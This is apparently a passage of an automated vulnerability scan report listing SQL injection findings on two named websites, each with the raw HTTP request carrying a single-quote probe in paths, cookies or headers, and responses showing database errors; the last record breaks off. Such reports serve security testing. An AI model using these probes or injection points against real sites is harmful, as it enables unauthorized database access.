1.38. http://www.linuxsecurity.com/ads/adlog.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/ads/adlog.php

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /ads/adlog.php'?bannerid=75&clientid=52&zoneid=4&source=&block=0&capping=0&cb=d44f13e3bc6b9e50f3529e3826e3166b HTTP/1.1
Host: www.linuxsecurity.com
Proxy-Connection: keep-alive
Referer: http://www.linuxsecurity.com/advisories/?1'=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:41:18 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=90f2247981d79aaa6ef9cb5f3e34b1a8; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 22:41:19 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 61909

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="http://www.linuxsecurity.com/content/view/154306/">Ubuntu: 1058-1: PostgreSQL vulnerability</a>
...[SNIP]...

1.39. http://www.linuxsecurity.com/advisories/ [473097ac08cef5345a0ef7ef35a119cd cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/advisories/

Issue detail

The 473097ac08cef5345a0ef7ef35a119cd cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the 473097ac08cef5345a0ef7ef35a119cd cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /advisories/ HTTP/1.1
Host: www.linuxsecurity.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-'; __utmz=137231789.1296945319.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=137231789.34780583.1296945313.1296945313.1296945313.1; __utmc=137231789; __utmb=137231789.1.10.1296945313;

Response (redirected)

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:57 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=a8f4bb5b5ebd8c70262e80f90ab7a88e; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 23:02:58 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 49614

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="http://www.linuxsecurity.com/content/view/154306/">Ubuntu: 1058-1: PostgreSQL vulnerability</a>
...[SNIP]...

1.40. http://www.linuxsecurity.com/advisories/ [Referer HTTP header] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/advisories/

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the Referer HTTP header, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /advisories/ HTTP/1.1
Host: www.linuxsecurity.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q='

Response (redirected)

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:06:59 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=-; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 22:07:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 49614

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="http://www.linuxsecurity.com/content/view/154306/">Ubuntu: 1058-1: PostgreSQL vulnerability</a>
...[SNIP]...

1.41. http://www.linuxsecurity.com/advisories/ [User-Agent HTTP header] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/advisories/

Issue detail

The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the User-Agent HTTP header, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /advisories/ HTTP/1.1
Host: www.linuxsecurity.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:06:56 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=-; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 22:06:57 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 49614

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="http://www.linuxsecurity.com/content/view/154306/">Ubuntu: 1058-1: PostgreSQL vulnerability</a>
...[SNIP]...

1.42. http://www.linuxsecurity.com/advisories/ [__utma cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/advisories/

Issue detail

The __utma cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the __utma cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /advisories/ HTTP/1.1
Host: www.linuxsecurity.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-; __utmz=137231789.1296945319.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=137231789.34780583.1296945313.1296945313.1296945313.1'; __utmc=137231789; __utmb=137231789.1.10.1296945313;

Response (redirected)

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:03:05 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=98ef37fcd77bae99f8502f54e9981f07; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 23:03:07 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 49614

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="http://www.linuxsecurity.com/content/view/154306/">Ubuntu: 1058-1: PostgreSQL vulnerability</a>
...[SNIP]...

1.43. http://www.linuxsecurity.com/advisories/ [__utmb cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/advisories/

Issue detail

The __utmb cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the __utmb cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /advisories/ HTTP/1.1
Host: www.linuxsecurity.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-; __utmz=137231789.1296945319.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=137231789.34780583.1296945313.1296945313.1296945313.1; __utmc=137231789; __utmb=137231789.1.10.1296945313';

Response (redirected)

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:03:18 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=6c7734da832a57908a771a3d56456c00; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 23:03:19 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 49614

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="http://www.linuxsecurity.com/content/view/154306/">Ubuntu: 1058-1: PostgreSQL vulnerability</a>
...[SNIP]...

1.44. http://www.linuxsecurity.com/advisories/ [__utmc cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/advisories/

Issue detail

The __utmc cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the __utmc cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /advisories/ HTTP/1.1
Host: www.linuxsecurity.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-; __utmz=137231789.1296945319.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=137231789.34780583.1296945313.1296945313.1296945313.1; __utmc=137231789'; __utmb=137231789.1.10.1296945313;

Response (redirected)

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:03:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=e7605e0456870a85b25d7c6f67a8ff97; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 23:03:12 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 49614

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="http://www.linuxsecurity.com/content/view/154306/">Ubuntu: 1058-1: PostgreSQL vulnerability</a>
...[SNIP]...

1.45. http://www.linuxsecurity.com/advisories/ [__utmz cookie] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/advisories/

Issue detail

The __utmz cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the __utmz cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /advisories/ HTTP/1.1
Host: www.linuxsecurity.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: 473097ac08cef5345a0ef7ef35a119cd=-; __utmz=137231789.1296945319.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23'; __utma=137231789.34780583.1296945313.1296945313.1296945313.1; __utmc=137231789; __utmb=137231789.1.10.1296945313;

Response (redirected)

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:03:00 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=5510f9306ce58bbf0156cb7b35502dae; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 23:03:01 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 49614

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="http://www.linuxsecurity.com/content/view/154306/">Ubuntu: 1058-1: PostgreSQL vulnerability</a>
...[SNIP]...

1.46. http://www.linuxsecurity.com/advisories/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.linuxsecurity.com
Path:	/advisories/

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /advisories/?1'=1 HTTP/1.1
Host: www.linuxsecurity.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:06:53 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=-; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 22:06:54 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 49614

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
<a href="http://www.linuxsecurity.com/content/view/154306/">Ubuntu: 1058-1: PostgreSQL vulnerability</a>
...[SNIP]...

1.47. http://www.slackbooks.com/Athletic+Training [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/Athletic+Training

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /Athletic+Training' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 16:56:52 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 10059

<html>
<head>
<title>Unclosed quotation mark before the character string 'athletic+training''.<br>Line 1: Incorrect syntax near 'athletic+training''.</title>
<style>
b
...[SNIP]...

Request 2

GET /Athletic+Training'' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 06 Feb 2011 16:56:53 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 12000

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.48. http://www.slackbooks.com/Manual+Therapy [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/Manual+Therapy

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /Manual+Therapy' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 16:59:45 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 10029

<html>
<head>
<title>Unclosed quotation mark before the character string 'manual+therapy''.<br>Line 1: Incorrect syntax near 'manual+therapy''.</title>
<style>
body {f
...[SNIP]...

Request 2

GET /Manual+Therapy'' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 06 Feb 2011 16:59:46 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11990

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.49. http://www.slackbooks.com/Orthotics+and+Prosthetics [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/Orthotics+and+Prosthetics

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /Orthotics+and+Prosthetics' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 17:00:38 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 10139

<html>
<head>
<title>Unclosed quotation mark before the character string 'orthotics+and+prosthetics''.<br>Line 1: Incorrect syntax near 'orthotics+and+prosthetics''.</title>
<st
...[SNIP]...

Request 2

GET /Orthotics+and+Prosthetics'' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 06 Feb 2011 17:00:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 12028

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.50. http://www.slackbooks.com/Physical+Therapy [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/Physical+Therapy

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /Physical+Therapy' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 17:02:10 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 10049

<html>
<head>
<title>Unclosed quotation mark before the character string 'physical+therapy''.<br>Line 1: Incorrect syntax near 'physical+therapy''.</title>
<style>
bod
...[SNIP]...

Request 2

GET /Physical+Therapy'' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 06 Feb 2011 17:02:11 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11998

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.51. http://www.slackbooks.com/aclreconstuct [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/aclreconstuct

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /aclreconstuct' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 16:56:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 10019

<html>
<head>
<title>Unclosed quotation mark before the character string 'aclreconstuct''.<br>Line 1: Incorrect syntax near 'aclreconstuct''.</title>
<style>
body {fon
...[SNIP]...

Request 2

GET /aclreconstuct'' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 06 Feb 2011 16:56:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11988

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.52. http://www.slackbooks.com/aclreconstuct [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/aclreconstuct

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /aclreconstuct?1'=1 HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 16:56:06 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 9884

<html>
<head>
<title>Line 1: Incorrect syntax near '='.<br>Unclosed quotation mark before the character string ''.</title>
<style>
body {font-family:"Verdana";font-wei
...[SNIP]...

Request 2

GET /aclreconstuct?1''=1 HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
